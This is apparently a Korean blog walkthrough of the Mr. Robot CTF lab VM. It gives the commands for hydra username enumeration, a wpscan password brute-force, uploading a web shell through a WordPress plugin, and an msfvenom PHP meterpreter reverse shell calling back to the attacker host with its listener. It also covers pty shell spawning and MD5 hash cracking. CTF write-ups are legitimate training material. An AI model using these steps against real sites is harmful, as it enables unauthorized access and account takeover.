2017. 3. 29. 22:34ㆍ보안 & 해킹/CTF
fsocity.dic 사전파일을 살펴보면 robot, window 등 단어로 검색해보면 중복되는 단어가 많다. 문제 제작자의 의도는 이 사전파일을 그대로 이용하거나 중복되는 것을 제거하여 사용하길 원했다고 생각된다.
리눅스의 sort 명령어를 이용하여 각 word들의 중복을 제거해 주자.
1 | sort -u fsocity.dic > fsocity2.dic | cs |
그러면 85만줄의 7.2MB이었던 사전파일은 11만 줄의 96.7kb로 훨씬 줄어든다.
/wp-login 페이지에서 Username 과 Password 를 알아내야 하는데 Username을 입력했을때의 반응을 살펴보면 ERROR 반응이 다르게 나온다.
Invalid username. 즉 username이 잘못되었다고 나옴.
Elliot을 위한 비밀번호가 잘못되었다고 나온다.
Mr.Robot의 주인공이 Elliot 임에 Elliot을 입력해보던가 사전파일을 넣고 ID를 변경해보며 돌려보면 Elliot의 계정 사용자가 있다는 것을 알 수 있다.
혹은 hydra 툴을 이용하여 사전파일 대입과 반응이 다름을 이용하여 직접 찾아볼 수 있다.
옵션은 다음과 같다.
hydra -L [사전파일] -p [패스워드] [타겟IP] http-form-post 로그인 form 네임과 패스워드 폼네임:Invalid
1 | hydra -L /root/Desktop/fsocity2.dic -p lol 192.168.150.133 http-form-post "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid" | cs |
이렇게 설정하여 실행하면 ID를 사전파일로 시도하고 패스워드를 lol로 시도하여 페이지의 반응이 Invalid가 뜨지 않는 반응을 찾는다.
폼네임이 log, pwd인 것은 소스의 요소보기나 burp suite의 post 반응을 확인하여 알아낼 수 있다.
Elliot, Elliot의 반응이 다르기에 ID가 elliot인 사용자에 패스워드를 다시 사전파일로 대입해본다.
1 | root@kali:~# wpscan -u 192.168.150.133 --threads 20 --wordlist /root/Desktop/fsocity2.dic --username elliot | cs |
ID elliot에 Password ER28-0652 임을 알 수 있다.
로그인 하면 관리창으로 진입할 수 있다.
이 워드프레스의 서버에 웹쉘을 업로드 하기 위해서는 플러그인을 설치해야한다.
File Manager 설치 후 Plugins - Active - WP FileManager 항목에 Activate에 체크를 하면 좌측에 WP File Manager플러그인을 사용할 수 있게된다.
이렇게 File Manager 안에서 you-will-never-guess-this-file-name.txt 파일에
hello there person who found me. 라고 장난스럽게 문구를 삽입해 놓은 것을 볼 수 있다.
이제 웹쉘을 업로드하기 위해 msfvenom을 이용하여 웹쉘을 생성하자.
1 | msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.150.128 LPORT=4444 -f raw > /root/Desktop/shell.php | cs |
LHOST=[칼리 IP]에 shell.php를 내보낸다.
shell.php를 uploads 폴더에 올린 후 정보보기를 하면 /wp-content/uplaods/shell.php 에 업로드 된 것을 알 수 있다.
웹쉘을 실행시키기 전 msfconsole 을 이용하여 listener를 연다.
1 2 3 4 5 6 | msfconsole use exploit/multi/handler set payload php/meterpreter_reverse_tcp set LPORT 4444 set LHOST 192.168.150.128 exploit -j | cs |
sessions -i를 이용하여 보면 1번 세션에 접속되어있는 것을 확인할 수 있다.
이와 같이 디렉토리를 볼 수 있는데 우리는 완전한 쉘을 얻고 싶다.
1 | python -c "import pty;pty.spawn('/bin/bash');" | cs |
이렇게 bash 쉘을 import 하는 것은 유용하게 쓰일 수 있으니 알아두자.
find 명령어를 이용하여 *.txt를 해보니 /home/robot 경로 아래에 key값이 있음을 찾았다.
robot 아래의 경로에 가보면 key-2-of-3.txt 파일이 있어 플래그파일임을 알 수 있다. 하지만 읽기 권한이 robot인데 접속한 계정은 daemon 이다. 아래에 password.raw-md5 파일을 읽어보니 해시값이 들어있다.
c3fcd3d76192e4007dfb496cca67e13b 해시값을 https://hashkiller.co.uk/md5-decrypter.aspx 에서 복호화 시도한다.
그러면 robot 계정의 암호 abcdefghijklmnopqrstuvwxyz 로 로그인을 시도해보자.
robot 홈디렉터리에 두번째 키 파일을 읽을 수 있을 것이다.
'보안 & 해킹 > CTF' 카테고리의 다른 글
Steganography. 스테가노그래피 툴 받기 (0) | 2017.07.18 |
---|---|
Mr.Robot CTF 풀이3 (Walk through) (0) | 2017.03.29 |
Mr.Robot CTF 풀이1 (Walk through) (0) | 2017.03.29 |
SMTP 메일 서버 텔넷, 넷캣으로 이메일 전송하기 (0) | 2016.12.08 |
Cipher 암호 디코더 (0) | 2016.12.07 |